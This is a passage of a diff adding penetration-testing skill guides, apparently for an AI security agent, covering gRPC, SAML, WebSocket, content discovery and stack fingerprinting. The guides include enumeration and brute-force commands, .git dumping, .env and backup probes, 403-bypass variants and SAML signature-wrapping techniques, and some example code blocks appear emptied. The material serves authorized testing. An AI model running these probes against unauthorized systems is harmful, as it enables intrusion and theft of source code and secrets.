non-standard ports (commonly 50051, 9090, 443, 8443) and behind load balancers/ingresses +- Services split into public and internal methods on the same server (admin/health/debug mixed with user APIs) +- gRPC-Web and REST/gateway translations that front the same backend (envoy gRPC-Web, grpc-gateway, Cloud Endpoints) +- Health checks (`grpc.health.v1.Health/Check`), reflection (`grpc.reflection.v1alpha.ServerReflection` / `v1`), and debug endpoints +- TLS vs plaintext (`-plaintext`), mTLS gaps, and authorization metadata (bearer tokens, API keys, custom headers) + +## Reconnaissance + +1. **Find gRPC endpoints** - port scan (`naabu`) for common ports, HTTP/2 prior-knowledge probes, mobile/JS bundle mining for `.proto` files or service names, and TLS ALPN (`h2`) detection +2. **Try reflection first**: + ``` + grpcurl -plaintext host:port list + grpcurl -plaintext host:port describe pkg.Service + grpcurl -plaintext host:port describe pkg.Service.Method + ``` + If reflection is disabled, errors differ (`unknown service` vs `method not implemented`) - that is still useful fingerprinting +3. **Get the protos** - source code, mobile binaries (extract `.proto`/descriptors), gRPC-Web JS bundles (protobuf messages are discoverable from compiled JS), or `grpcurl describe` output when reflection works +4. **Check health and metadata**: `grpcurl -plaintext host:port list` usually reveals `grpc.health.v1.Health`; call `Check` with no auth +5. **Map authentication** - which methods require metadata (tokens) and which answer unauthenticated; compare against the client's real calls captured via proxy (agent-browser/caido can see HTTP/2) + +## Key Vulnerabilities + +### Reflection Exposure + +Server reflection leaks the complete service/method inventory and field schemas to unauthenticated callers. It is information disclosure that turns black-box testing into white-box: + +``` +grpcurl -plaintext host:port list +grpcurl -plaintext host:port describe admin.AdminService +``` + +### Missing Authentication / Authorization + +- Methods invoked without credentials succeed (`grpcurl -plaintext host:port pkg.Service.SensitiveMethod` with empty metadata) +- Interceptors validate at the service level but individual methods skip their own checks (BFLA: user calls admin methods with a user token) +- Health/reflection/debug methods exposed on internet-facing ports + +### Protobuf Field Abuse + +- Unknown/enum fields: send out-of-range enum values, negative numbers, huge strings, or duplicate fields - parsers differ on strictness +- Type confusion: `oneof` fields can be switched to another type; JSON transcoding can coerce types (`"price":"1e3"`) +- Injection in string fields: SQL/NoSQL injection, command injection, path traversal, XXE - the values reach the same sinks as HTTP parameters +- IDs and offsets for pagination/export methods -> IDOR/BOLA + +### Large Message / DoS + +- Unbounded message size or streaming: send multi-GB messages or endless client streams to exhaust memory +- `grpc.MaxCallRecvMsgSize` defaults cap at 4 MiB server-side, but proxies and custom configs may not +- Nested `google.protobuf.Any`/recursive messages that blow up deserialization depth + +### Gateway / Protocol Confusion + +- gRPC-Web or REST gateway translates requests differently: path-parameter smuggling (`/v1/users/{id}` vs `%2F`), header-to-metadata confusion (`authorization` vs `x-api-key`), or query-param injection into message fields +- Load balancers terminating HTTP/2 and re-framing to HTTP/1.1 can split or merge messages (request smuggling analogues) + +## Advanced Techniques + +- **Authz matrix**: collect tokens for N roles and run the full method x role matrix; methods often forget role checks after adding a new service +- **Replay**: capture a valid request with credentials and replay later - does the server enforce freshness/idempotency? +- **Timing enumeration**: valid vs invalid object IDs often differ in latency or error wording (`not found` vs `permission denied`) +- **Error-message mining**: invoke with malformed payloads; rich error details (`google.rpc.Status` details) leak stack traces, types, and internal state +- **Bidi streaming abuse**: interleave messages to hit TOCTOU/race conditions in stateful methods +- **mTLS/proxy gaps**: check whether internal-only services are reachable through an exposed gateway with default credentials + +## Testing Methodology + +1. Discover the endpoint and service inventory (reflection first, protos second) +2. Pull field schemas for every method (`describe`) +3. Baseline each method with a well-formed empty/minimal payload; record auth requirements and error shape +4. Run the authz matrix (no token, user, admin, expired, wrong audience) +5. Fuzz field values: injection payloads, type confusion, huge/lengthy values, unknown fields +6. Test streaming and message-size limits +7. Check gateway/transcoding paths for translation bugs + +## Validation + +1. Show a concrete request/response pair for each finding (`grpcurl -d '{...}' -H 'authorization: ...' host:port pkg.Service.Method`) +2. For authz gaps: identical method, two different tokens (or none), unauthorized success +3. For injection: reproduce against the underlying data store with evidence from the app response +4. Keep payloads minimal and non-destructive; prefer read-only proofs + +## False Positives + +- Reflection lists services but every method enforces auth (`permission denied` without token) - exposure is still low-severity info disclosure +- `unknown service` from a different protocol on the port (not gRPC at all) +- "Unauthenticated" calls that actually use a default/ambient credential baked into the client config +- Health/reflection endpoints on internal-only interfaces that are not reachable from the tested network + +## Impact + +- Full API inventory disclosure via reflection +- Account takeover and data access via missing per-method authorization +- RCE/data loss via injection in unvalidated message fields +- Availability impact via message/stream size abuse + +## Pro Tips + +1. Try `grpcurl -plaintext host:port list` before anything else - reflection is often left enabled in production +2. `grpcurl -plaintext host:port describe pkg.Service` prints field names, types, and labels - treat it as an API spec +3. Install when needed: `go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest` +4. Use `-d @` with a JSON file for complex payloads; `-H 'authorization: Bearer ...'` for auth +5. For TLS endpoints use `-servername`/`-insecure` carefully; check ALPN with `openssl s_client -alpn h2` +6. Test every method with empty input - default/zero values frequently reach different code paths than valid input +7. Combine with `api_spec_testing` when a REST gateway fronts the same backend; translation bugs live in the mapping layer + +## Summary + +gRPC services are HTTP APIs wearing a binary costume: enumerate with reflection, map per-method authz, abuse field validation, and test the gateway. Start with `grpcurl list`/`describe`, build a role x method matrix, and validate findings with exact request/response pairs. diff --git a/strix/skills/protocols/saml.md b/strix/skills/protocols/saml.md new file mode 100644 index 000000000..2f3299221 --- /dev/null +++ b/strix/skills/protocols/saml.md @@ -0,0 +1,135 @@ +--- +name: saml +description: SAML SSO security testing covering assertion tampering, XML signature wrapping, signature stripping, replay, and audience/recipient validation gaps +--- + +# SAML + +SAML (Security Assertion Markup Language) is the enterprise SSO workhorse: an Identity Provider (IdP) signs an XML assertion about a user and the Service Provider (SP) trusts it to establish a session. The trust boundary is entirely about XML signature verification and attribute validation. If the SP verifies signatures incorrectly, or skips audience/recipient checks, an attacker can mint their own admin assertion. Unlike JWTs, the "signature" is XMLDSIG - with canonicalization, reference resolution, and multiple XML parsers in play - which makes implementation bugs common and subtle. + +## Attack Surface + +- SP login endpoints that accept `SAMLResponse` (HTTP POST binding) or `SAMLRequest`/`SAMLResponse` in redirect URLs (HTTP Redirect binding) +- IdP discovery and metadata endpoints: `/Shibboleth.sso/Metadata`, `/saml/metadata`, `/metadata`, federation metadata XML +- Assertion contents: `Subject`/`NameID`, `AttributeStatement` (roles, groups, email), `AuthnStatement` (session/loa), `Conditions` (NotBefore/NotOnOrAfter, AudienceRestriction) +- RelayState - often echoed into post-login redirects and a classic open redirect/token-leak vector +- SP-side libraries: Shibboleth, SimpleSAMLphp, Spring Security SAML, OneLogin, python3-saml, `pysaml2`, .NET `Saml2`/Sustainsys, ADFS, Keycloak SP side + +## Reconnaissance + +1. **Capture a real SAML exchange** - log in via the SP, intercept the POST/redirect with the proxy (agent-browser + caido), and save the `SAMLResponse` +2. **Decode**: POST binding is base64 XML; Redirect binding is base64 + DEFLATE: + ``` + echo '' | base64 -d > response.xml + python3 -c "import zlib,sys; sys.stdout.buffer.write(zlib.decompress(__import__('base64').b64decode(open(0,'rb').read())))" < enc.bin > response.xml + ``` +3. **Verify the signature locally** (`xmlsec1 --verify` or a SAML library) so you know exactly what is signed and what is not +4. **Map the metadata**: endpoints, certificates, NameID formats, and which attributes the SP consumes (roles/email are the high-value ones) +5. **Test the SP's IdP trust** - does it accept assertions from any IdP, or only configured metadata? + +## Key Vulnerabilities + +### Missing Signature Verification + +The SP accepts an unsigned or tampered `SAMLResponse`. Modify `NameID` to another user or add `Role=admin`, re-encode, and replay: + +``` +admin@target +admin +``` + +### Signature Stripping + +Remove the entire `ds:Signature` element (and references). Some SPs only verify when a signature is present. + +### XML Signature Wrapping (XSW) + +The verifier resolves a reference to one part of the document while the application logic reads another. Common variants: + +- Insert a forged, unsigned `` *before* the signed one; the app reads the first, the verifier checks the signed second +- Wrap the signed assertion inside an unsigned parent (``, ``, another ``) and add a forged sibling +- Duplicate the assertion with a new `ID`, place the attacker's copy first +- Keep the signature element but change the reference target/ID so the signed bytes and the consumed bytes diverge + +Test systematically with 8-12 XSW variants (prepend, wrap, nested, comment-injected) rather than a single payload. + +### Comment Injection / Canonicalization Bugs + +XML comments inside signed content can change the document tree after canonicalization in some parsers (libxml2/REXML/Nokogiri differentials). Insert comments into `SignedInfo`-adjacent content and observe whether the SP's view differs from the verifier's. + +### Key/Trust Confusion + +- SP trusts an attacker-embedded `` instead of the configured IdP certificate +- Accepts assertions signed by any certificate in the metadata bundle, including self-signed test certs +- Multiple IdPs configured and the SP does not bind the assertion to the IdP that issued it (IdP confusion) + +### Missing Audience / Recipient Checks + +- `AudienceRestriction` absent or not validated: an assertion minted for SP-A is accepted at SP-B +- `Recipient` attribute not checked: a response meant for one ACS URL works at another endpoint +- Cross-service token confusion across SPs sharing an IdP + +### Replay and Lifetime + +- Same `SAMLResponse` accepted repeatedly (no one-time-use/cache of assertion IDs) +- `NotBefore`/`NotOnOrAfter` not enforced, or huge clock skew tolerated +- `SessionNotOnOrAfter`/`AuthnStatement` ignored + +### RelayState Abuse + +- `RelayState` reflected unvalidated into a redirect -> open redirect (phishing) +- RelayState carrying state/tokens that leak to attacker-controlled URLs + +## Advanced Techniques + +- **Assertion reuse across SPs**: if the same IdP federates several SPs, test SP-A's assertion at SP-B (audience confusion) +- **NameID confusion**: formats like `emailAddress` vs `persistent`; SPs sometimes map the NameID to the account identifier - switch formats to impersonate +- **Attribute-based authz**: many apps authorize from `Role`/`group` attributes without checking the IdP signed them - tamper and replay +- **Offline crafting**: with the SP's public metadata and a valid signed sample, build custom assertions and test each validation gap in isolation + +## Testing Methodology + +1. Capture and decode a real response; record what is signed +2. Verify locally; identify unsigned sections and the exact canonicalization +3. Baseline: replay the untouched response - does the SP accept it (replay)? +4. Tamper attributes/NameID and re-encode - accepted (no signature check) or rejected? +5. Strip the signature - accepted? +6. Run XSW variants and comment injections +7. Swap Audience/Recipient/Issuer values; test cross-SP and cross-IdP +8. Test RelayState for open redirect + +## Validation + +1. Reproduce end-to-end: modified assertion -> SP accepts -> session as the impersonated/privileged user +2. Show the tampered XML and the exact verification gap (signature absent, wrapping variant, audience mismatch accepted) +3. Prove the impact user-visible: an admin role, another user's data, or cross-SP access +4. Keep the proof minimal: NameID switch or a role attribute read, no destructive actions + +## False Positives + +- Tampered assertion rejected with a signature error - the SP verifies correctly (no finding) +- Replay blocked by assertion-ID cache or short expiry +- Audience/Recipient enforced (cross-SP test fails) +- SP verifies against the configured IdP cert only (embedded KeyInfo ignored) +- RelayState validated against an allowlist (no open redirect) + +## Impact + +- Full account takeover by minting assertions as any user +- Privilege escalation via tampered role/group attributes +- Cross-SP/tenant access when audience checks fail +- Phishing via RelayState open redirects + +## Pro Tips + +1. Always verify the original locally first - knowing what is signed tells you which tampering is worth trying +2. XSW is a family, not one payload: run prepend/wrap/nest/duplicate variants in combination with attribute tampering +3. Test replay with the *identical* response before modifying anything +4. Check `Recipient` and `AudienceRestriction` independently - SPs often check one and forget the other +5. Capture multiple assertions (different roles/users) to diff how the SP maps attributes +6. `xmlsec1` and the `python3-saml`/`pysaml2` libraries are the practical workhorses for crafting and verifying; install via apt/pip in the sandbox +7. Combine with `authentication_jwt` when the same IdP also issues JWTs - token confusion across protocols is common + +## Summary + +SAML security is signature-verification security: capture a real assertion, learn what is signed, then attack the gaps - missing verification, signature stripping, XML signature wrapping, key trust confusion, and missing audience/recipient/lifetime checks. Prove impact with a replayed or tampered assertion that yields an authenticated session. diff --git a/strix/skills/protocols/websocket.md b/strix/skills/protocols/websocket.md new file mode 100644 index 000000000..5c7d4240d --- /dev/null +++ b/strix/skills/protocols/websocket.md @@ -0,0 +1,132 @@ +--- +name: websocket +description: WebSocket security testing covering handshake auth, origin checks, cross-site WebSocket hijacking, message-level injection, and race conditions +--- + +# WebSockets + +WebSockets upgrade an HTTP connection to a persistent, bidirectional channel. The upgrade handshake is plain HTTP, but once the tunnel is open the usual request/response framing is gone - which makes authentication, authorization, and input validation easy to get wrong. The two highest-yield bugs are cross-site WebSocket hijacking (CSWSH), where a foreign page opens a socket with the victim's cookies, and per-message authorization gaps, where the handshake is checked but individual messages are not. + +## Attack Surface + +- Chat, notifications, live dashboards, collaborative editing, trading, gaming, and streaming UIs +- Endpoint patterns: `/ws`, `/websocket`, `/socket.io`, `/sockjs`, `/graphql` subscriptions, `/realtime`, `/events` +- Transports: native WebSocket, Socket.IO (with long-polling fallback), SockJS, Phoenix Channels, SignalR, gRPC-Web-ish bidi channels +- Authentication: cookie at handshake, token in URL/query, token in `Sec-WebSocket-Protocol` subprotocol, token per-message +- Load balancers/proxies that terminate WebSocket upgrades (Nginx, HAProxy, envoy, Cloudflare) + +## Reconnaissance + +1. **Find the endpoints** - mine JS bundles (JS-Snooper/jsniper), watch network traffic via agent-browser/caido, grep for `new WebSocket(` / `ws://` / `wss://`, check `socket.io`/`sockjs` prefixes +2. **Capture the handshake** - method, `Upgrade: websocket`, `Sec-WebSocket-Key`, `Origin`, cookies, headers; note what auth material is present +3. **Test the upgrade response** - does the server echo `Sec-WebSocket-Protocol`? Which subprotocols does it accept? +4. **Map message types** - connect with the real client, capture 5-10 message flows, and identify JSON/Protobuf/binary schemas per message type +5. **Check TLS** - `ws://` (plaintext) vs `wss://`; a plaintext upgrade means tokens/frames are sniffable + +## Key Vulnerabilities + +### Cross-Site WebSocket Hijacking (CSWSH) + +If the handshake authenticates with cookies and the server does not validate `Origin`, an attacker page can open a socket as the victim: + +``` + +``` + +Evidence checklist: victim cookie auth + missing/weak `Origin` check + sensitive data or state-changing messages on the socket. + +### Handshake-Only Authentication + +The connection authenticates once at upgrade, then every message is trusted. Bugs that follow: + +- **User isolation failure**: one user can request another user's channel/room by ID (IDOR over the socket) +- **Privilege re-check missing**: admin operations exposed to user-level sockets +- **Reconnect confusion**: after token rotation/logout, the old socket stays alive + +### Token Leakage + +- Tokens in the URL (`wss://host/socket?token=...`) leak via logs, referrers, and history +- Tokens in `Sec-WebSocket-Protocol` are visible to intermediaries and reusable cross-origin without cookies + +### Message-Level Injection + +- JSON values reaching the same sinks as HTTP params: SQL/NoSQL injection, XSS in chat rendering, command injection in "run" message types, path traversal in file-transfer messages +- Protobuf/binary frames with weak validation (see `grpc` skill for field abuse patterns) +- GraphQL subscriptions carrying arbitrary query/mutation payloads - test as a full GraphQL endpoint (see `graphql` skill) + +### Origin Check Bypasses + +- `Origin` validated by prefix/substring instead of exact match +- `Origin: null` accepted (sandboxed iframes) +- No `Origin` header at all accepted (non-browser clients, curl, native apps) +- CORS-style allowlist mistakes (subdomain confusion, trailing-dot, port-ignoring) + +### Race Conditions and State Abuse + +- Concurrent state-changing messages (double-spend, redeem-twice, stock oversell) - pair with `race_conditions` skill +- Ordering/timing abuse in collaborative state (last-write-wins on shared resources) + +### Protocol/Transport Attacks + +- HTTP request smuggling into an upgrade (proxies that mishandle `Upgrade` + `Content-Length`) +- Subprotocol confusion: server echoes a client-requested subprotocol and switches behavior (e.g., debug protocol) +- Ping/pong floods, huge frames, or endless messages -> resource exhaustion DoS +- Downgrade to `ws://` on mixed-content pages (cookie/token sniffing) + +## Advanced Techniques + +- **Authz matrix over messages**: for each message type, replay with another user's context IDs and a lower-privilege token +- **Replay**: capture a signed message (e.g., trade order) and replay it - is it idempotent? +- **Rate limits**: many socket actions bypass HTTP rate limiting entirely +- **Cross-protocol pivots**: socket messages that trigger HTTP/webhook/email actions -> SSRF or stored XSS in another channel +- **Connection takeover**: after session fixation/logout, check whether an attacker-controlled reconnect can adopt the old session + +## Testing Methodology + +1. Discover and capture the handshake and message schemas +2. Baseline: connect with a valid session, note auth model (cookie vs token vs per-message) +3. CSWSH: build a cross-origin page, connect with victim cookies, attempt a sensitive read/write +4. Origin matrix: valid origin, evil origin, `null`, no header, subdomain variants +5. Message authz: replay each message type across users/roles and object IDs +6. Injection: fuzz every user-controlled field per message type +7. Transport: TLS check, subprotocol abuse, frame-size/message-rate limits +8. Concurrency: parallel sends for state-changing messages + +## Validation + +1. For CSWSH: show the attacker page's socket receiving victim data or performing a state change with victim cookies +2. For authz gaps: same message, different user context, unauthorized success (two-account proof) +3. For injection: reproduce with the same evidence standards as the equivalent HTTP class (SQLi, XSS, etc.) +4. Capture the exact handshake request/response and the offending frames + +## False Positives + +- Origin validated exactly (attacker page rejected at upgrade) +- Token-per-message auth with per-user signing (replay and impersonation fail) +- CSWSH blocked by SameSite/credentials handling (browser refuses to attach cookies cross-site) +- Socket is internal-only or requires mTLS; not reachable from the tested position +- "Race" explained by server-side serialization (no observable state corruption) + +## Impact + +- Account takeover via CSWSH (read chats, send messages, trigger actions as the victim) +- Cross-user data access via broken channel/room isolation +- RCE/data loss via injection in message fields +- Availability impact via socket DoS + +## Pro Tips + +1. CSWSH is the first test: victim-cookie auth + missing Origin check is instant account takeover +2. Treat each message type as an endpoint: build the authz matrix and fuzz inputs per type +3. Watch for tokens in URLs and subprotocols - they are the "log leakage" of the WebSocket world +4. Python's `websockets` library and the agent-browser devtools are the fastest way to script message flows in the sandbox +5. Test reconnect/rotation behavior - sockets often outlive the session that created them +6. Check the gateway: proxies that terminate WebSockets may also break framing in interesting ways + +## Summary + +WebSockets keep HTTP semantics at the handshake and lose them in the tunnel. Verify Origin checks for CSWSH, test authentication per message rather than per connection, fuzz every message field like an HTTP parameter, and check replay/race/rate behavior on state-changing frames. diff --git a/strix/skills/reconnaissance/content_discovery.md b/strix/skills/reconnaissance/content_discovery.md new file mode 100644 index 000000000..94897a5a9 --- /dev/null +++ b/strix/skills/reconnaissance/content_discovery.md @@ -0,0 +1,137 @@ +--- +name: content_discovery +description: Hidden endpoint and content discovery covering directory brute force, backup/config files, .git/.env exposure, JS mining, parameter discovery, and 403 bypasses +--- + +# Content Discovery + +Content discovery finds what the crawl misses: admin panels, backup files, `.env`/`.git` leftovers, API docs, debug endpoints, and parameters the app never links to. It is the difference between testing the visible app and testing the real attack surface. Structure the work as a pipeline - passive first, then directory brute force, then parameter discovery, then access-control bypass - and keep results deduplicated and verified. + +## Attack Surface + +- Hidden routes: `/admin`, `/api`, `/internal`, `/debug`, `/dev`, `/v1/`, `/swagger` +- Backup/config files: `.env`, `.env.backup`, `config.php.bak`, `database.yml.old`, `wp-config.php~`, `*.swp`, `*.save`, `*.zip`, `*.tar.gz`, `dump.sql` +- VCS metadata: `/.git/HEAD`, `/.git/config`, `/.svn/entries`, `.hg`, `.bzr` +- Server metadata: `robots.txt`, `sitemap.xml`, `security.txt`, `server-status`, `server-info`, `phpinfo.php`, `crossdomain.xml`, `clientaccesspolicy.xml` +- API docs: `openapi.json`, `swagger.json`, `swagger-ui.html`, `api-docs`, `/redoc`, `/docs` +- JS bundles and source maps: endpoints, parameters, API keys, internal hostnames +- Parameters: hidden/undocumented params that change behavior (see `arjun`, `ffuf`) +- Virtual hosts: co-located apps behind one IP (see `asset_discovery`) + +## Reconnaissance + +1. **Passive first**: robots.txt, sitemap.xml, `security.txt`, HTML comments, meta tags, JS bundle URLs, DNS/CNAME clues, cert SANs (see `asset_discovery`) +2. **Crawl for seeds**: katana/gospider for links, forms, and API calls; note every URL with parameters +3. **Mine JS**: JS-Snooper (`/home/pentester/tools/JS-Snooper/js_snooper.sh`) and `jsniper.sh` extract endpoints and secrets from bundles; also grep raw JS for `/api/`, `fetch(`, `axios.`, `ws://`, `window.` config +4. **Source-aware**: whitebox - read routes/URL configs (Flask `url_map`, Express routes, Rails routes, Spring `@RequestMapping`, Next.js `app/` dir) and mirror them as the discovery baseline +5. **Wordlists**: `/usr/share/wordlists/` (Kali: install `wordlists`/`seclists` via apt if absent); common sets: `dirb/common.txt`, `dirbuster/directory-list-2.3-medium.txt`, Seclists `Discovery/Web-Content/raft-*`, `api/objects.txt`, `Common-PHP-Filenames.txt`, backup-extensions lists + +## Key Techniques + +### Directory / File Brute Force + +`dirsearch` (pre-installed) is the workhorse: + +``` +dirsearch -u https://target -e php,html,txt,bak,old,env,json -t 20 --max-rate 50 \ + -x 404 --format=json -o dirsearch.json +``` + +For precision, `ffuf` (pre-installed): + +``` +ffuf -u https://target/FUZZ -w wordlist.txt -mc 200,204,301,302,307,401,403 -o ffuf.json +ffuf -u https://target/FUZZ -w raft-medium-words.txt -e .php,.bak,.old,.env,.json,.html -mc all -fc 404 +``` + +### Backup and Config Patterns + +- Same-name extensions: `index.php.bak`, `.old`, `~`, `#`, `.swp`, `.sav`, `.orig`, `.dist` +- Case/leet variants: `.env` vs `.ENV`, `Config.php.bak`, `db.sql` vs `backup.sql` +- Versioned files: `file.php.1`, `file-2024.sql` +- VCS: `/.git/HEAD` -> `/.git/config`; if readable, dump the repo (see below) +- `.DS_Store` parsing for directory listings (Python `ds_store` library or `strings`) + +### `.git` / `.svn` Exposure + +``` +curl -s https://target/.git/HEAD +curl -s https://target/.git/config +``` + +If `.git/HEAD` returns `ref: refs/heads/main`, the object database may be downloadable with `git-dumper` (e.g., `pipx install git-dumper`, then `git-dumper https://target/.git/ outdir`) - full source disclosure. `.svn/entries`/`wc.db` similarly leaks paths and revisions. + +### Parameter Discovery + +`arjun` (pre-installed) discovers parameters from a large dictionary by measuring response changes: + +``` +arjun -u https://target/api/search -m GET -oJ -o arjun.json +``` + +Then fuzz interesting parameters with `ffuf`: + +``` +ffuf -u 'https://target/api/search?FUZZ=test' -w param-words.txt -mc all -fc 404 -fs +``` + +Test discovered parameters for authz/injection with the class-specific skills (IDOR, SQLi, mass assignment, etc.). + +### HTTP Method and Access-Control Bypass + +- `OPTIONS`/`TRACE`/`PUT`/`DELETE` on discovered paths (405 vs 403 reveals method handling) +- 403 bypasses: `X-Original-URL`, `X-Rewrite-URL`, `X-Forwarded-Host`, path variants (`/admin` vs `/./admin`, `//admin`, `/Admin`, `/admin/`, `/admin%2f`, `%2e%2e/admin`, `..;/admin`, `;/admin`, Unicode/encoded case), method override headers +- Verify a bypass returns the real resource content, not just a different status code + +### Virtual Host Discovery + +``` +ffuf -u https://IP -H "Host: FUZZ.example.com" -w vhost-words.txt -fs +``` + +## Testing Methodology + +1. Passive harvest (robots/sitemap/comments/JS) +2. Directory brute force with a medium wordlist + extension set (dirsearch) +3. Backup/config/VCS probes (`/.env`, `/.git/HEAD`, backup patterns) +4. JS mining for endpoints/params/secrets +5. Parameter discovery (arjun + ffuf) +6. 403/access-control bypass on denied paths +7. Verify each find (real content, not a soft-200) and deduplicate + +## Validation + +1. Each discovered resource returns distinguishable content (status + body evidence), not an SPA fallback +2. `.git` dump: show the restored source tree or key files +3. Parameter: show a behavior change caused by the parameter (error, feature toggle, auth difference) +4. Bypass: show the 403 -> 200 transition with the exact request +5. Record the tool, wordlist, and command for reproducibility + +## False Positives + +- SPA/Next.js-style soft-200s: every path returns the index page - filter by body size/content hash, not status +- WAF soft blocks returning 403/429 for everything after a few requests +- Default server pages (Apache `/icons/`, Nginx welcome page) counted as finds +- `/robots.txt` disallow entries that don't resolve to real paths +- Redirect-to-login 302s that hide auth requirements (still note them, but not "accessible") +- Wordlist hits on framework defaults (`/assets`, `/static`, `/vendor`) with no unique content + +## Impact + +- Admin/debug/API surface exposure for further testing +- Source code and secrets via `.git`/backup/config files +- Undocumented parameters enabling authz/injection findings +- Full attack-surface map feeding every specialist skill + +## Pro Tips + +1. Filter by content length/hash in `ffuf` (`-fs`) and exclude 404s in `dirsearch` (`-x`) - noise kills signal fast +2. Run `.git`, `.env`, and backup probes before the full brute force - one hit ends the engagement +3. Pair wordlists with extensions: default wordlists rarely contain `.bak`/`.env` hits on their own +4. Mine JS early: endpoints and parameters from bundles are usually higher-value than dictionary hits +5. Always verify 403 bypasses return real content; status-code-only changes are not findings +6. Combine with `technology_fingerprinting` to pick the right wordlists (PHP vs Node vs Java paths) + +## Summary + +Content discovery is a pipeline: passive harvest, directory brute force, backup/VCS probes, JS mining, parameter discovery, and access-control bypass - verified and deduplicated at the end. The finds feed every later testing phase, so run it early and keep evidence per discovery. diff --git a/strix/skills/reconnaissance/technology_fingerprinting.md b/strix/skills/reconnaissance/technology_fingerprinting.md new file mode 100644 index 000000000..8ea41292f --- /dev/null +++ b/strix/skills/reconnaissance/technology_fingerprinting.md @@ -0,0 +1,133 @@ +--- +name: technology_fingerprinting +description: Technology and WAF fingerprinting covering headers, cookies, error pages, favicon hashes, CDN detection, and version-to-CVE mapping +--- + +# Technology Fingerprinting + +Fingerprinting identifies the stack - language, framework, web server, CDN, WAF, CMS, and versions - so testing can skip to the right skills and CVE databases instead of guessing. It is the first active step on any target and should happen alongside asset discovery. Every fingerprint is a hypothesis: corroborate across multiple signals before selecting exploit paths. + +## Attack Surface (Signals) + +**Headers** + +- `Server`, `X-Powered-By`, `X-Generator`, `X-AspNet-Version`, `X-Runtime` (Rails), `X-Drupal-Cache`, `X-Varnish`, `Via`, `X-Served-By` +- CDN/WAF markers: `CF-Ray`/`CF-Cache-Status` (Cloudflare), `X-Akamai-*`, `X-Cache` (Fastly), `X-Amz-Cf-Id` (CloudFront), `X-Sucuri-ID`, `X-CDN`, `X-WAF` +- Security headers present/absent: `Strict-Transport-Security`, `Content-Security-Policy`, `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy` + +**Cookies** + +- Session markers: `PHPSESSID` (PHP), `JSESSIONID` (Java), `connect.sid` (Express), `laravel_session`/`XSRF-TOKEN` (Laravel), `_rails`/`_session` (Rails), `ASP.NET_SessionId` (ASP.NET), `csrftoken` (Django), `wp-settings-*` (WordPress), `NID`/`SID` (Google) + +**Body/page markers** + +- `wp-content`, `wp-includes` (WordPress); Drupal `sites/`; Joomla `/media/system`; Django admin CSS; Rails `assets/`; Next.js `/_next/`; Nuxt `/_nuxt/`; Vite `/assets/`; webpack `__webpack_require__`; Spring whitelabel; ASP.NET error pages; Vue/React root divs + script bundles +- Framework meta tags, generator comments, version strings in HTML comments, source maps (`/*.js.map`), `powered-by` footers + +**Behavior** + +- Error pages: 404/500 styling and paths (Rails, Django, Flask, Spring whitelabel, ASP.NET yellow screen) +- Redirect patterns and cookie attributes; HTTP method behavior; `OPTIONS`/`Allow` headers +- Static path conventions (`/static/`, `/assets/`, `/media/`, `/uploads/`) + +**TLS/cert** + +- Issuer, SANs, certificate age (CDN vs origin), TLS version/cipher support (see `asset_discovery` for SAN pivots) + +**Favicon** + +- Hash the favicon and pivot: `httpx -favicon` produces a hash that identifies the app/CMS across hosts (also a Shodan/Censys query key) + +## Reconnaissance + +1. **Quick sweep** with httpx tech detection (pre-installed): + ``` + httpx -l hosts.txt -sc -title -server -td -cname -ip -json -o finger.jsonl + ``` + `-td` runs technology detection (headers, cookies, body markers) +2. **WAF detection** (pre-installed): + ``` + wafw00f https://target -o waf.json + ``` + Corroborate with headers (`CF-Ray`, `X-Sucuri-ID`, `X-CDN: Incapsula`) +3. **Targeted probes** per suspected stack: `/actuator` (Spring), `/wp-json` (WordPress), `/graphql`, `/api`, `/.well-known/openid-configuration` (OIDC), `/version`, `/server-status` +4. **Version pinning**: changelog/readme files, `package.json`/`composer.json`/`Gemfile` when exposed, error-page versions, update endpoints (`/wp-json`, `/admin/version`), asset digests (Rails/Webpack) +5. **Source-aware**: read lockfiles, `package.json`, `requirements.txt`, Dockerfile, CI configs, and framework config for exact versions + +## Key Techniques + +### Header Triangulation + +Read the full header chain: `Server` may be masked by a CDN, but `Via`/`X-Served-By`/`CF-Ray` reveal the edge, and the origin's `Server`/`X-Powered-By` show through on errors or direct-IP requests. Compare responses with/without the CDN (direct origin IP via DNS history/cert search) to fingerprint the real stack. + +### Error-Page Fingerprinting + +- Trigger 404/500/405 deliberately; each framework has a signature page +- Rails: plain "Routing Error"/exception pages with `Rails.root`; Django: debug page with settings when `DEBUG=True`; Spring: whitelabel; Flask: `Werkzeug` debugger; ASP.NET: yellow screen + stack frames +- Look for version strings in page footers or `` + +### Favicon Hashing + +``` +httpx -u https://target -favicon +``` + +The favicon hash identifies CMS/framework instances (e.g., WordPress, Grafana, Jenkins, Jira) and supports Shodan/Censys pivots to find sibling instances. + +### Cookie/Behavior Fingerprinting + +Login-page cookies and redirect flows are reliable even when headers are stripped: Django sets `csrftoken` on GET; Laravel sets `XSRF-TOKEN`; ASP.NET sets `ASP.NET_SessionId`; Rails sets `_session`; Java apps set `JSESSIONID` with path attributes. Test `/login`/`/admin`/`/api` responses for cookie sets. + +### Version-to-CVE Mapping + +Once versions are pinned: + +- Check `nuclei` tech/CVE templates: `nuclei -u https://target -tags tech,cve -s high,critical -ni -silent` +- Search the CVE databases (web_search) for ` CVE` +- Use `searchsploit`/`vulnx` (pre-installed) for offline matches +- Only exploit after confirming the exact version and a working path + +## Testing Methodology + +1. httpx tech sweep across all hosts +2. wafw00f + header analysis (edge vs origin) +3. Targeted framework probes (actuator, wp-json, graphql, well-known) +4. Version pinning from files/pages/errors +5. CVE mapping and handoff to the matching skill +6. Record evidence: header sets, cookie sets, page markers, error shapes + +## Validation + +1. Confirm each fingerprint with at least two independent signals (header + cookie + page marker) +2. Pin versions from the most reliable source (lockfile/readme/update endpoint) when CVEs depend on it +3. Verify the origin stack by direct-IP or error-page responses when the edge masks headers +4. Route each confirmed stack to its skill: `django`/`fastapi`/`express`/`spring`/`wordpress`/`keycloak`/`grafana_prometheus`, etc. + +## False Positives + +- CDN headers (Cloudflare/Akamai) mistaken for the app stack - the edge is not the origin +- Generic `Server: nginx` masking the real app (fingerprint via cookies/pages) +- JS framework in the browser (React/Vue) confused with the server stack (Next.js/Nuxt SSR vs static SPA) +- Fake/honeypot headers (`X-Powered-By` deliberately set to mislead) +- Version strings from `readme.html`/changelogs that lag the deployed patch level +- WAF false positives/negatives (wafw00f is heuristic; verify with blocking behavior) + +## Impact + +- Correct skill/CVE selection: faster, higher-signal testing +- Version-pinned CVE exploitation when unpatched +- Origin discovery past CDNs for direct testing 